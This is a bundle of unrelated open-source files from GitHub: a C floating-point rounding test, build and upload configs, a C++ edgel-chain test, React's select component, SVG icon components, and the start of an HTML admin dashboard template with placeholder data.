/* Lets see if changing the rounding alters the arithmetic.
Test by creating numbers which will have to be rounded when
added, and seeing what happens to them */
/* Keep them out here to stop the compiler from folding the results */
double n;
double m;
double add_rounded_up;
double add_rounded_down;
double sub_rounded_down ;
double sub_rounded_up ;
double r1,r2,r3,r4;
void
test_round (void)
{
n = dnumber(0x40000000, 0x00000008); /* near 2 */
m = dnumber(0x40400000, 0x00000003); /* near 3.4 */
add_rounded_up = dnumber(0x40410000, 0x00000004); /* For RN, RP */
add_rounded_down = dnumber(0x40410000, 0x00000003); /* For RM, RZ */
sub_rounded_down = dnumber(0xc0410000, 0x00000004); /* for RN, RM */
sub_rounded_up = dnumber(0xc0410000, 0x00000003); /* for RP, RZ */
newfunc("fpsetround");
line(1);
fpsetround(FP_RN);
r1 = n + m;
test_mok(r1, add_rounded_up, 64);
line(2);
fpsetround(FP_RM);
r2 = n + m;
test_mok(r2, add_rounded_down, 64);
fpsetround(FP_RP);
line(3);
r3 = n + m;
test_mok(r3,add_rounded_up, 64);
fpsetround(FP_RZ);
line(4);
r4 = n + m;
test_mok(r4,add_rounded_down,64);
fpsetround(FP_RN);
r1 = - n - m;
line(5);
test_mok(r1,sub_rounded_down,64);
fpsetround(FP_RM);
r2 = - n - m;
line(6);
test_mok(r2,sub_rounded_down,64);
fpsetround(FP_RP);
r3 = - n - m;
line(7);
test_mok(r3,sub_rounded_up,64);
fpsetround(FP_RZ);
r4 = - n - m;
line(8);
test_mok(r4,sub_rounded_up,64);
}
void
test_ieee (void)
{
fp_rnd old = fpgetround();
test_getround();
test_getmask();
test_getsticky();
test_getroundtoi();
test_round();
fpsetround(old);
}
| {
"pile_set_name": "Github"
} |
[DEFAULT]
os.object.bulk-upload.include =
*.txt
subfolder/*.png | {
"pile_set_name": "Github"
} |
# Copyright (c) 2009 Google Inc. All rights reserved.
# Use of this source code is governed by a BSD-style license that can be
# found in the LICENSE file.
{
'includes': [
'../../symroot.gypi',
],
'targets': [
{
'target_name': 'prog3',
'type': 'executable',
'sources': [
'prog3.c',
],
},
],
}
| {
"pile_set_name": "Github"
} |
//:
// \file
#include <iostream>
#include <vdgl/vdgl_edgel_chain.h>
#include <vdgl/vdgl_fit_line.h>
#include <vsol/vsol_line_2d.h>
#ifdef _MSC_VER
# include "vcl_msvc_warnings.h"
#endif
#include "testlib/testlib_test.h"
static void test_vdgl()
{
// Create an edgel chain...
vdgl_edgel_chain e;
// ...with some edgels (x,y,gamma,theta)
vdgl_edgel e1( 1,2,3,4);
vdgl_edgel e2( 2,6,7,8);
vdgl_edgel e3( 3,4,3,2);
vdgl_edgel e4( 4,5,3,4);
e.add_edgel( e1);
e.add_edgel( e2);
e.add_edgel( e3);
e.add_edgel( e4);
vsol_line_2d_sptr myline;
myline=vdgl_fit_line(e);
//Here check for the length of the line
TEST_NEAR("Length", myline->length(), 3.059411708155671, 1e-12);
//--------------------------------------------------
//test the generation of a straight edgel_chain defined by two points
double x0=0, y0=0, x1=10, y1=10;
vdgl_edgel_chain_sptr ec = new vdgl_edgel_chain(x0, y0, x1, y1);
unsigned int N = ec->size();
TEST("Chain should have 11 edgels", N, 11);
for (unsigned int i = 0; i<N; i++)
std::cout << "edgel[" << i<<"] = (" << (*ec)[i] << ")\n";
}
TESTMAIN(test_vdgl);
| {
"pile_set_name": "Github"
} |
/**
* Copyright 2013-2015, Facebook, Inc.
* All rights reserved.
*
* This source code is licensed under the BSD-style license found in the
* LICENSE file in the root directory of this source tree. An additional grant
* of patent rights can be found in the PATENTS file in the same directory.
*
* @providesModule ReactDOMSelect
*/
'use strict';
var AutoFocusMixin = require("./AutoFocusMixin");
var LinkedValueUtils = require("./LinkedValueUtils");
var ReactBrowserComponentMixin = require("./ReactBrowserComponentMixin");
var ReactClass = require("./ReactClass");
var ReactElement = require("./ReactElement");
var ReactUpdates = require("./ReactUpdates");
var assign = require("./Object.assign");
var select = ReactElement.createFactory('select');
function updateOptionsIfPendingUpdateAndMounted() {
/*jshint validthis:true */
if (this._pendingUpdate) {
this._pendingUpdate = false;
var value = LinkedValueUtils.getValue(this);
if (value != null && this.isMounted()) {
updateOptions(this, value);
}
}
}
/**
* Validation function for `value` and `defaultValue`.
* @private
*/
function selectValueType(props, propName, componentName) {
if (props[propName] == null) {
return null;
}
if (props.multiple) {
if (!Array.isArray(props[propName])) {
return new Error(
("The `" + propName + "` prop supplied to <select> must be an array if ") +
("`multiple` is true.")
);
}
} else {
if (Array.isArray(props[propName])) {
return new Error(
("The `" + propName + "` prop supplied to <select> must be a scalar ") +
("value if `multiple` is false.")
);
}
}
}
/**
* @param {ReactComponent} component Instance of ReactDOMSelect
* @param {*} propValue A stringable (with `multiple`, a list of stringables).
* @private
*/
function updateOptions(component, propValue) {
var selectedValue, i, l;
var options = component.getDOMNode().options;
if (component.props.multiple) {
selectedValue = {};
for (i = 0, l = propValue.length; i < l; i++) {
selectedValue['' + propValue[i]] = true;
}
for (i = 0, l = options.length; i < l; i++) {
var selected = selectedValue.hasOwnProperty(options[i].value);
if (options[i].selected !== selected) {
options[i].selected = selected;
}
}
} else {
// Do not set `select.value` as exact behavior isn't consistent across all
// browsers for all cases.
selectedValue = '' + propValue;
for (i = 0, l = options.length; i < l; i++) {
if (options[i].value === selectedValue) {
options[i].selected = true;
return;
}
}
if (options.length) {
options[0].selected = true;
}
}
}
/**
* Implements a <select> native component that allows optionally setting the
* props `value` and `defaultValue`. If `multiple` is false, the prop must be a
* stringable. If `multiple` is true, the prop must be an array of stringables.
*
* If `value` is not supplied (or null/undefined), user actions that change the
* selected option will trigger updates to the rendered options.
*
* If it is supplied (and not null/undefined), the rendered options will not
* update in response to user actions. Instead, the `value` prop must change in
* order for the rendered options to update.
*
* If `defaultValue` is provided, any options with the supplied values will be
* selected.
*/
var ReactDOMSelect = ReactClass.createClass({
displayName: 'ReactDOMSelect',
tagName: 'SELECT',
mixins: [AutoFocusMixin, LinkedValueUtils.Mixin, ReactBrowserComponentMixin],
propTypes: {
defaultValue: selectValueType,
value: selectValueType
},
render: function() {
// Clone `this.props` so we don't mutate the input.
var props = assign({}, this.props);
props.onChange = this._handleChange;
props.value = null;
return select(props, this.props.children);
},
componentWillMount: function() {
this._pendingUpdate = false;
},
componentDidMount: function() {
var value = LinkedValueUtils.getValue(this);
if (value != null) {
updateOptions(this, value);
} else if (this.props.defaultValue != null) {
updateOptions(this, this.props.defaultValue);
}
},
componentDidUpdate: function(prevProps) {
var value = LinkedValueUtils.getValue(this);
if (value != null) {
this._pendingUpdate = false;
updateOptions(this, value);
} else if (!prevProps.multiple !== !this.props.multiple) {
// For simplicity, reapply `defaultValue` if `multiple` is toggled.
if (this.props.defaultValue != null) {
updateOptions(this, this.props.defaultValue);
} else {
// Revert the select back to its default unselected state.
updateOptions(this, this.props.multiple ? [] : '');
}
}
},
_handleChange: function(event) {
var returnValue;
var onChange = LinkedValueUtils.getOnChange(this);
if (onChange) {
returnValue = onChange.call(this, event);
}
this._pendingUpdate = true;
ReactUpdates.asap(updateOptionsIfPendingUpdateAndMounted, this);
return returnValue;
}
});
module.exports = ReactDOMSelect;
| {
"pile_set_name": "Github"
} |
import React from 'react'
import styled from 'styled-components'
const Path = styled.path`
fill: currentColor;
`
export function SvgIconWrapper ({ children, ...rest }) {
return (
<svg
height={24}
preserveAspectRatio='xMinYMax meet'
viewBox='0 0 24 24'
width={24}
{...rest}
>
<path d='M0-.5h24v24H0z' fill='none' />
{children}
</svg>
)
}
export function IconLeft () {
return (
<SvgIconWrapper>
<Path d='M15.41 16.09l-4.58-4.59 4.58-4.59L14 5.5l-6 6 6 6z' />
</SvgIconWrapper>
)
}
export function IconMore () {
return (
<SvgIconWrapper>
<Path d='M12 8c1.1 0 2-.9 2-2s-.9-2-2-2-2 .9-2 2 .9 2 2 2zm0 2c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2zm0 6c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2z' />
</SvgIconWrapper>
)
}
export function IconRight () {
return (
<SvgIconWrapper>
<Path d='M10 6L8.59 7.41 13.17 12l-4.58 4.59L10 18l6-6z' />
</SvgIconWrapper>
)
}
| {
"pile_set_name": "Github"
} |
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>Limitless - Responsive Web Application Kit by Eugene Kopyov</title>
<!-- Global stylesheets -->
<link href="https://fonts.googleapis.com/css?family=Roboto:400,300,100,500,700,900" rel="stylesheet" type="text/css">
<link href="assets/css/icons/icomoon/styles.css" rel="stylesheet" type="text/css">
<link href="assets/css/bootstrap.css" rel="stylesheet" type="text/css">
<link href="assets/css/core.css" rel="stylesheet" type="text/css">
<link href="assets/css/components.css" rel="stylesheet" type="text/css">
<link href="assets/css/colors.css" rel="stylesheet" type="text/css">
<!-- /global stylesheets -->
<!-- Core JS files -->
<script type="text/javascript" src="assets/js/plugins/loaders/pace.min.js"></script>
<script type="text/javascript" src="assets/js/core/libraries/jquery.min.js"></script>
<script type="text/javascript" src="assets/js/core/libraries/bootstrap.min.js"></script>
<script type="text/javascript" src="assets/js/plugins/loaders/blockui.min.js"></script>
<!-- /core JS files -->
<!-- Theme JS files -->
<script type="text/javascript" src="assets/js/plugins/visualization/d3/d3.min.js"></script>
<script type="text/javascript" src="assets/js/plugins/visualization/d3/d3_tooltip.js"></script>
<script type="text/javascript" src="assets/js/plugins/forms/styling/switchery.min.js"></script>
<script type="text/javascript" src="assets/js/plugins/forms/styling/uniform.min.js"></script>
<script type="text/javascript" src="assets/js/plugins/forms/selects/bootstrap_multiselect.js"></script>
<script type="text/javascript" src="assets/js/plugins/ui/moment/moment.min.js"></script>
<script type="text/javascript" src="assets/js/plugins/pickers/daterangepicker.js"></script>
<script type="text/javascript" src="assets/js/plugins/ui/nicescroll.min.js"></script>
<script type="text/javascript" src="assets/js/plugins/ui/drilldown.js"></script>
<script type="text/javascript" src="assets/js/core/app.js"></script>
<script type="text/javascript" src="assets/js/pages/dashboard_boxed_full.js"></script>
<!-- /theme JS files -->
</head>
<body class="layout-boxed navbar-top">
<!-- Main navbar -->
<div class="navbar navbar-inverse bg-teal-400 navbar-fixed-top">
<div class="navbar-header">
<a class="navbar-brand" href="index.html"><img src="assets/images/logo_light.png" alt=""></a>
<ul class="nav navbar-nav visible-xs-block">
<li><a data-toggle="collapse" data-target="#navbar-mobile"><i class="icon-tree5"></i></a></li>
</ul>
</div>
<div class="navbar-collapse collapse" id="navbar-mobile">
<ul class="nav navbar-nav">
<li class="dropdown mega-menu mega-menu-wide active">
<a href="#" class="dropdown-toggle" data-toggle="dropdown">
<i class="icon-menu7 position-left"></i> Menu <span class="caret"></span>
</a>
<div class="dropdown-menu dropdown-content">
<div class="dropdown-content-body">
<div class="row">
<div class="col-md-3">
<span class="menu-heading underlined">Page layouts</span>
<ul class="menu-list">
<li><a href="layout_navbar_fixed.html">Fixed navbar</a></li>
<li><a href="layout_navbar_sidebar_fixed.html">Fixed navbar & sidebar</a></li>
<li><a href="layout_sidebar_fixed_native.html">Fixed sidebar native scroll</a></li>
<li><a href="layout_navbar_hideable.html">Hideable navbar</a></li>
<li><a href="layout_navbar_hideable_sidebar.html">Hideable & fixed sidebar</a></li>
<li><a href="layout_footer_fixed.html">Fixed footer</a></li>
<li class="navigation-divider"></li>
<li><a href="boxed_default.html">Boxed with default sidebar</a></li>
<li><a href="boxed_mini.html">Boxed with mini sidebar</a></li>
<li class="active"><a href="boxed_full.html">Boxed full width</a></li>
</ul>
</div>
<div class="col-md-3">
<span class="menu-heading underlined">Layouts</span>
<ul class="menu-list">
<li><a href="index.html" id="layout1">Layout 1 <span class="label bg-warning-400">Current</span></a></li>
<li><a href="../../layout_2/LTR/index.html" id="layout2">Layout 2</a></li>
<li><a href="../../layout_3/LTR/index.html" id="layout3">Layout 3</a></li>
<li><a href="../../layout_4/LTR/index.html" id="layout4">Layout 4</a></li>
<li class="disabled"><a href="../../layout_5/LTR/index.html" id="layout5">Layout 5 <span class="label label-default">Coming soon</span></a></li>
</ul>
</div>
<div class="col-md-3">
<span class="menu-heading underlined">Color system</span>
<ul class="menu-list">
<li><a href="colors_primary.html">Primary palette</a></li>
<li><a href="colors_danger.html">Danger palette</a></li>
<li><a href="colors_success.html">Success palette</a></li>
<li><a href="colors_warning.html">Warning palette</a></li>
<li><a href="colors_info.html">Info palette</a></li>
<li class="navigation-divider"></li>
<li><a href="colors_pink.html">Pink palette</a></li>
<li><a href="colors_violet.html">Violet palette</a></li>
<li><a href="colors_purple.html">Purple palette</a></li>
<li><a href="colors_indigo.html">Indigo palette</a></li>
<li><a href="colors_blue.html">Blue palette</a></li>
<li><a href="colors_teal.html">Teal palette</a></li>
<li><a href="colors_green.html">Green palette</a></li>
<li><a href="colors_orange.html">Orange palette</a></li>
<li><a href="colors_brown.html">Brown palette</a></li>
<li><a href="colors_grey.html">Grey palette</a></li>
<li><a href="colors_slate.html">Slate palette</a></li>
</ul>
</div>
<div class="col-md-3">
<span class="menu-heading underlined">Starter kit</span>
<ul class="menu-list">
<li><a href="starters/horizontal_nav.html">Horizontal navigation</a></li>
<li><a href="starters/1_col.html">1 column</a></li>
<li><a href="starters/2_col.html">2 columns</a></li>
<li>
<a href="#">3 columns</a>
<ul>
<li><a href="starters/3_col_dual.html">Dual sidebars</a></li>
<li><a href="starters/3_col_double.html">Double sidebars</a></li>
</ul>
</li>
<li><a href="starters/4_col.html">4 columns</a></li>
<li>
<a href="#">Detached layout</a>
<ul>
<li><a href="starters/detached_left.html">Left sidebar</a></li>
<li><a href="starters/detached_right.html">Right sidebar</a></li>
<li><a href="starters/detached_sticky.html">Sticky sidebar</a></li>
</ul>
</li>
<li><a href="starters/layout_boxed.html">Boxed layout</a></li>
<li class="navigation-divider"></li>
<li><a href="starters/layout_navbar_fixed_main.html">Fixed main navbar</a></li>
<li><a href="starters/layout_navbar_fixed_secondary.html">Fixed secondary navbar</a></li>
<li><a href="starters/layout_navbar_fixed_both.html">Both navbars fixed</a></li>
<li><a href="starters/layout_fixed.html">Fixed layout</a></li>
</ul>
</div>
</div>
</div>
</div>
</li>
<li class="dropdown">
<a href="#" class="dropdown-toggle" data-toggle="dropdown">
<i class="icon-dots position-left"></i> Levels <span class="caret"></span>
</a>
<ul class="dropdown-menu dropdown-menu-right">
<li><a href="#"><i class="icon-IE"></i> Second level</a></li>
<li class="dropdown-submenu">
<a href="#"><i class="icon-firefox"></i> Has child</a>
<ul class="dropdown-menu">
<li><a href="#"><i class="icon-android"></i> Third level</a></li>
<li class="dropdown-submenu">
<a href="#"><i class="icon-apple2"></i> Has child</a>
<ul class="dropdown-menu">
<li><a href="#"><i class="icon-html5"></i> Fourth level</a></li>
<li><a href="#"><i class="icon-css3"></i> Fourth level</a></li>
</ul>
</li>
<li><a href="#"><i class="icon-windows"></i> Third level</a></li>
</ul>
</li>
<li><a href="#"><i class="icon-chrome"></i> Second level</a></li>
</ul>
</li>
</ul>
<ul class="nav navbar-nav navbar-right">
<li class="dropdown">
<a href="#" class="dropdown-toggle" data-toggle="dropdown">
<i class="icon-people"></i>
<span class="visible-xs-inline-block position-right">Users</span>
</a>
<div class="dropdown-menu dropdown-content">
<div class="dropdown-content-heading">
Users online
<ul class="icons-list">
<li><a href="#"><i class="icon-gear"></i></a></li>
</ul>
</div>
<ul class="media-list dropdown-content-body width-300">
<li class="media">
<div class="media-left"><img src="assets/images/demo/users/face18.jpg" class="img-circle img-sm" alt=""></div>
<div class="media-body">
<a href="#" class="media-heading text-semibold">Jordana Ansley</a>
<span class="display-block text-muted text-size-small">Lead web developer</span>
</div>
<div class="media-right media-middle"><span class="status-mark border-success"></span></div>
</li>
<li class="media">
<div class="media-left"><img src="assets/images/demo/users/face24.jpg" class="img-circle img-sm" alt=""></div>
<div class="media-body">
<a href="#" class="media-heading text-semibold">Will Brason</a>
<span class="display-block text-muted text-size-small">Marketing manager</span>
</div>
<div class="media-right media-middle"><span class="status-mark border-danger"></span></div>
</li>
<li class="media">
<div class="media-left"><img src="assets/images/demo/users/face17.jpg" class="img-circle img-sm" alt=""></div>
<div class="media-body">
<a href="#" class="media-heading text-semibold">Hanna Walden</a>
<span class="display-block text-muted text-size-small">Project manager</span>
</div>
<div class="media-right media-middle"><span class="status-mark border-success"></span></div>
</li>
<li class="media">
<div class="media-left"><img src="assets/images/demo/users/face19.jpg" class="img-circle img-sm" alt=""></div>
<div class="media-body">
<a href="#" class="media-heading text-semibold">Dori Laperriere</a>
<span class="display-block text-muted text-size-small">Business developer</span>
</div>
<div class="media-right media-middle"><span class="status-mark border-warning-300"></span></div>
</li>
<li class="media">
<div class="media-left"><img src="assets/images/demo/users/face16.jpg" class="img-circle img-sm" alt=""></div>
<div class="media-body">
<a href="#" class="media-heading text-semibold">Vanessa Aurelius</a>
<span class="display-block text-muted text-size-small">UX expert</span>
</div>
<div class="media-right media-middle"><span class="status-mark border-grey-400"></span></div>
</li>
</ul>
<div class="dropdown-content-footer">
<a href="#" data-popup="tooltip" title="All users"><i class="icon-menu display-block"></i></a>
</div>
</div>
</li>
<li class="dropdown">
<a href="#" class="dropdown-toggle" data-toggle="dropdown">
<i class="icon-bubbles4"></i>
<span class="visible-xs-inline-block position-right">Messages</span>
<span class="badge">2</span>
</a>
<div class="dropdown-menu dropdown-content width-350">
<div class="dropdown-content-heading">
Messages
<ul class="icons-list">
<li><a href="#"><i class="icon-compose"></i></a></li>
</ul>
</div>
<ul class="media-list dropdown-content-body">
<li class="media">
<div class="media-left">
<img src="assets/images/demo/users/face10.jpg" class="img-circle img-sm" alt="">
<span class="badge bg-danger-400 media-badge">5</span>
</div>
<div class="media-body">
<a href="#" class="media-heading">
<span class="text-semibold">James Alexander</span>
<span class="media-annotation pull-right">04:58</span>
</a>
<span class="text-muted">who knows, maybe that would be the best thing for me...</span>
</div>
</li>
<li class="media">
<div class="media-left">
<img src="assets/images/demo/users/face3.jpg" class="img-circle img-sm" alt="">
<span class="badge bg-danger-400 media-badge">4</span>
</div>
<div class="media-body">
<a href="#" class="media-heading">
<span class="text-semibold">Margo Baker</span>
<span class="media-annotation pull-right">12:16</span>
</a>
<span class="text-muted">That was something he was unable to do because...</span>
</div>
</li>
<li class="media">
<div class="media-left"><img src="assets/images/demo/users/face24.jpg" class="img-circle img-sm" alt=""></div>
<div class="media-body">
<a href="#" class="media-heading">
<span class="text-semibold">Jeremy Victorino</span>
<span class="media-annotation pull-right">22:48</span>
</a>
<span class="text-muted">But that would be extremely strained and suspicious...</span>
</div>
</li>
<li class="media">
<div class="media-left"><img src="assets/images/demo/users/face4.jpg" class="img-circle img-sm" alt=""></div>
<div class="media-body">
<a href="#" class="media-heading">
<span class="text-semibold">Beatrix Diaz</span>
<span class="media-annotation pull-right">Tue</span>
</a>
<span class="text-muted">What a strenuous career it is that I've chosen...</span>
</div>
</li>
<li class="media">
<div class="media-left"><img src="assets/images/demo/users/face25.jpg" class="img-circle img-sm" alt=""></div>
<div class="media-body">
<a href="#" class="media-heading">
<span class="text-semibold">Richard Vango</span>
<span class="media-annotation pull-right">Mon</span>
</a>
<span class="text-muted">Other travelling salesmen live a life of luxury...</span>
</div>
</li>
</ul>
<div class="dropdown-content-footer">
<a href="#" data-popup="tooltip" title="All messages"><i class="icon-menu display-block"></i></a>
</div>
</div>
</li>
<li class="dropdown dropdown-user">
<a class="dropdown-toggle" data-toggle="dropdown">
<img src="assets/images/demo/users/face11.jpg" alt="">
<span>Victoria</span>
<i class="caret"></i>
</a>
<ul class="dropdown-menu dropdown-menu-right">
<li><a href="#"><i class="icon-user-plus"></i> My profile</a></li>
<li><a href="#"><i class="icon-coins"></i> My balance</a></li>
<li><a href="#"><span class="badge badge-warning pull-right">58</span> <i class="icon-comment-discussion"></i> Messages</a></li>
<li class="divider"></li>
<li><a href="#"><i class="icon-cog5"></i> Account settings</a></li>
<li><a href="#"><i class="icon-switch2"></i> Logout</a></li>
</ul>
</li>
</ul>
</div>
</div>
<!-- /main navbar -->
<!-- Page container -->
<div class="page-container">
<!-- Page content -->
<div class="page-content">
<!-- Main content -->
<div class="content-wrapper">
<!-- Page header -->
<div class="page-header">
<div class="page-header-content">
<div class="page-title">
<h4><i class="icon-arrow-left52 position-left"></i> <span class="text-semibold">Home</span> - Dashboard</h4>
</div>
<div class="heading-elements">
<form class="heading-form" action="#">
<div class="form-group">
<div class="daterange-custom" id="reportrange">
<div class="daterange-custom-display"></div>
<span class="badge bg-danger-400">24</span>
</div>
</div>
</form>
</div>
</div>
<div class="breadcrumb-line">
<ul class="breadcrumb">
<li><a href="index.html"><i class="icon-home2 position-left"></i> Home</a></li>
<li><a href="index.html">Home</a></li>
<li class="active">Dashboard</li>
</ul>
<ul class="breadcrumb-elements">
<li><a href="#"><i class="icon-comment-discussion position-left"></i> Support</a></li>
<li class="dropdown">
<a href="#" class="dropdown-toggle" data-toggle="dropdown">
<i class="icon-gear position-left"></i>
Settings
<span class="caret"></span>
</a>
<ul class="dropdown-menu dropdown-menu-right">
<li><a href="#"><i class="icon-user-lock"></i> Account security</a></li>
<li><a href="#"><i class="icon-statistics"></i> Analytics</a></li>
<li><a href="#"><i class="icon-accessibility"></i> Accessibility</a></li>
<li class="divider"></li>
<li><a href="#"><i class="icon-gear"></i> All settings</a></li>
</ul>
</li>
</ul>
</div>
</div>
<!-- /page header -->
<!-- Content area -->
<div class="content">
<!-- Traffic sources -->
<div class="panel panel-flat">
<div class="panel-heading">
<h6 class="panel-title">Traffic sources</h6>
<div class="heading-elements">
<form class="heading-form" action="#">
<div class="form-group">
<label class="checkbox-inline checkbox-switchery checkbox-right switchery-xs">
<input type="checkbox" class="switch" checked="checked">
Live update:
</label>
</div>
</form>
</div>
</div>
<div class="container-fluid">
<div class="row">
<div class="col-lg-4">
<ul class="list-inline text-center">
<li>
<a href="#" class="btn border-teal text-teal btn-flat btn-rounded btn-icon btn-xs valign-text-bottom"><i class="icon-plus3"></i></a>
</li>
<li class="text-left">
<div class="text-semibold">New visitors</div>
<div class="text-muted">2,349 avg</div>
</li>
</ul>
<div class="col-lg-10 col-lg-offset-1">
<div class="content-group" id="new-visitors"></div>
</div>
</div>
<div class="col-lg-4">
<ul class="list-inline text-center">
<li>
<a href="#" class="btn border-warning-400 text-warning-400 btn-flat btn-rounded btn-icon btn-xs valign-text-bottom"><i class="icon-watch2"></i></a>
</li>
<li class="text-left">
<div class="text-semibold">New sessions</div>
<div class="text-muted">08:20 avg</div>
</li>
</ul>
<div class="col-lg-10 col-lg-offset-1">
<div class="content-group" id="new-sessions"></div>
</div>
</div>
<div class="col-lg-4">
<ul class="list-inline text-center">
<li>
<a href="#" class="btn border-indigo-400 text-indigo-400 btn-flat btn-rounded btn-icon btn-xs valign-text-bottom"><i class="icon-people"></i></a>
</li>
<li class="text-left">
<div class="text-semibold">Total online</div>
<div class="text-muted"><span class="status-mark border-success position-left"></span> 5,378 avg</div>
</li>
</ul>
<div class="col-lg-10 col-lg-offset-1">
<div class="content-group" id="total-online"></div>
</div>
</div>
</div>
</div>
<div class="position-relative" id="traffic-sources"></div>
</div>
<!-- /traffic sources -->
<!-- Quick stats boxes -->
<div class="row">
<div class="col-lg-4">
<!-- Members online -->
<div class="panel bg-indigo-300">
<div class="panel-body">
<div class="heading-elements">
<span class="heading-text badge bg-indigo-800">+53,6%</span>
</div>
<h3 class="no-margin">3,450</h3>
Members online
<div class="text-muted text-size-small">489 avg</div>
</div>
<div class="container-fluid">
<div id="members-online"></div>
</div>
</div>
<!-- /members online -->
</div>
<div class="col-lg-4">
<!-- Current server load -->
<div class="panel bg-pink-400">
<div class="panel-body">
<div class="heading-elements">
<ul class="icons-list">
<li class="dropdown">
<a href="#" class="dropdown-toggle" data-toggle="dropdown"><i class="icon-cog3"></i> <span class="caret"></span></a>
<ul class="dropdown-menu dropdown-menu-right">
<li><a href="#"><i class="icon-sync"></i> Update data</a></li>
<li><a href="#"><i class="icon-list-unordered"></i> Detailed log</a></li>
<li><a href="#"><i class="icon-pie5"></i> Statistics</a></li>
<li><a href="#"><i class="icon-cross3"></i> Clear list</a></li>
</ul>
</li>
</ul>
</div>
<h3 class="no-margin">49.4%</h3>
Current server load
<div class="text-muted text-size-small">34.6% avg</div>
</div>
<div id="server-load"></div>
</div>
<!-- /current server load -->
</div>
<div class="col-lg-4">
<!-- Today's revenue -->
<div class="panel bg-slate">
<div class="panel-body">
<div class="heading-elements">
<ul class="icons-list">
<li><a data-action="reload"></a></li>
</ul>
</div>
<h3 class="no-margin">$18,390</h3>
Today's revenue
<div class="text-muted text-size-small">$37,578 avg</div>
</div>
<div id="today-revenue"></div>
</div>
<!-- /today's revenue -->
</div>
</div>
<!-- /quick stats boxes -->
<!-- Marketing campaigns -->
<div class="panel panel-flat">
<div class="panel-heading">
<h6 class="panel-title">Marketing campaigns</h6>
<div class="heading-elements">
<span class="label bg-success heading-text">28 active</span>
<ul class="icons-list">
<li class="dropdown">
<a href="#" class="dropdown-toggle" data-toggle="dropdown"><i class="icon-menu7"></i> <span class="caret"></span></a>
<ul class="dropdown-menu dropdown-menu-right">
<li><a href="#"><i class="icon-sync"></i> Update data</a></li>
<li><a href="#"><i class="icon-list-unordered"></i> Detailed log</a></li>
<li><a href="#"><i class="icon-pie5"></i> Statistics</a></li>
<li class="divider"></li>
<li><a href="#"><i class="icon-cross3"></i> Clear list</a></li>
</ul>
</li>
</ul>
</div>
</div>
<div class="table-responsive">
<table class="table table-lg text-nowrap">
<tbody>
<tr>
<td class="col-md-5">
<div class="media-left">
<div id="campaigns-donut"></div>
</div>
<div class="media-left">
<h5 class="text-semibold no-margin">38,289 <small class="text-success text-size-base"><i class="icon-arrow-up12"></i> (+16.2%)</small></h5>
<ul class="list-inline list-inline-condensed no-margin">
<li>
<span class="status-mark border-success"></span>
</li>
<li>
<span class="text-muted">May 12, 12:30 am</span>
</li>
</ul>
</div>
</td>
<td class="col-md-5">
<div class="media-left">
<div id="campaign-status-pie"></div>
</div>
<div class="media-left">
<h5 class="text-semibold no-margin">2,458 <small class="text-danger text-size-base"><i class="icon-arrow-down12"></i> (- 4.9%)</small></h5>
<ul class="list-inline list-inline-condensed no-margin">
<li>
<span class="status-mark border-danger"></span>
</li>
<li>
<span class="text-muted">Jun 4, 4:00 am</span>
</li>
</ul>
</div>
</td>
<td class="text-right col-md-2">
<a href="#" class="btn bg-indigo-300"><i class="icon-statistics position-left"></i> View report</a>
</td>
</tr>
</tbody>
</table>
</div>
<div class="table-responsive">
<table class="table text-nowrap">
<thead>
<tr>
<th>Campaign</th>
<th class="col-md-2">Client</th>
<th class="col-md-2">Changes</th>
<th class="col-md-2">Budget</th>
<th class="col-md-2">Status</th>
<th class="text-center" style="width: 20px;"><i class="icon-arrow-down12"></i></th>
</tr>
</thead>
<tbody>
<tr class="active border-double">
<td colspan="5">Today</td>
<td class="text-right">
<span class="progress-meter" id="today-progress" data-progress="30"></span>
</td>
</tr>
<tr>
<td>
<div class="media-left media-middle">
<a href="#"><img src="assets/images/brands/facebook.png" class="img-circle img-xs" alt=""></a>
</div>
<div class="media-left">
<div class=""><a href="#" class="text-default text-semibold">Facebook</a></div>
<div class="text-muted text-size-small">
<span class="status-mark border-blue position-left"></span>
02:00 - 03:00
</div>
</div>
</td>
<td><span class="text-muted">Mintlime</span></td>
<td><span class="text-success-600"><i class="icon-stats-growth2 position-left"></i> 2.43%</span></td>
<td><h6 class="text-semibold">$5,489</h6></td>
<td><span class="label bg-blue">Active</span></td>
<td class="text-center">
<ul class="icons-list">
<li class="dropdown">
<a href="#" class="dropdown-toggle" data-toggle="dropdown"><i class="icon-menu7"></i></a>
<ul class="dropdown-menu dropdown-menu-right">
<li><a href="#"><i class="icon-file-stats"></i> View statement</a></li>
<li><a href="#"><i class="icon-file-text2"></i> Edit campaign</a></li>
<li><a href="#"><i class="icon-file-locked"></i> Disable campaign</a></li>
<li class="divider"></li>
<li><a href="#"><i class="icon-gear"></i> Settings</a></li>
</ul>
</li>
</ul>
</td>
</tr>
<tr>
<td>
<div class="media-left media-middle">
<a href="#"><img src="assets/images/brands/youtube.png" class="img-circle img-xs" alt=""></a>
</div>
<div class="media-left">
<div class=""><a href="#" class="text-default text-semibold">Youtube videos</a></div>
<div class="text-muted text-size-small">
<span class="status-mark border-danger position-left"></span>
13:00 - 14:00
</div>
</div>
</td>
<td><span class="text-muted">CDsoft</span></td>
<td><span class="text-success-600"><i class="icon-stats-growth2 position-left"></i> 3.12%</span></td>
<td><h6 class="text-semibold">$2,592</h6></td>
<td><span class="label bg-danger">Closed</span></td>
<td class="text-center">
<ul class="icons-list">
<li class="dropdown">
<a href="#" class="dropdown-toggle" data-toggle="dropdown"><i class="icon-menu7"></i></a>
<ul class="dropdown-menu dropdown-menu-right">
<li><a href="#"><i class="icon-file-stats"></i> View statement</a></li>
<li><a href="#"><i class="icon-file-text2"></i> Edit campaign</a></li>
<li><a href="#"><i class="icon-file-locked"></i> Disable campaign</a></li>
<li class="divider"></li>
<li><a href="#"><i class="icon-gear"></i> Settings</a></li>
</ul>
</li>
</ul>
</td>
</tr>
<tr>
<td>
<div class="media-left media-middle">
<a href="#"><img src="assets/images/brands/spotify.png" class="img-circle img-xs" alt=""></a>
</div>
<div class="media-left">
<div class=""><a href="#" class="text-default text-semibold">Spotify ads</a></div>
<div class="text-muted text-size-small">
<span class="status-mark border-grey-400 position-left"></span>
10:00 - 11:00
</div>
</div>
</td>
<td><span class="text-muted">Diligence</span></td>
<td><span class="text-danger"><i class="icon-stats-decline2 position-left"></i> - 8.02%</span></td>
<td><h6 class="text-semibold">$1,268</h6></td>
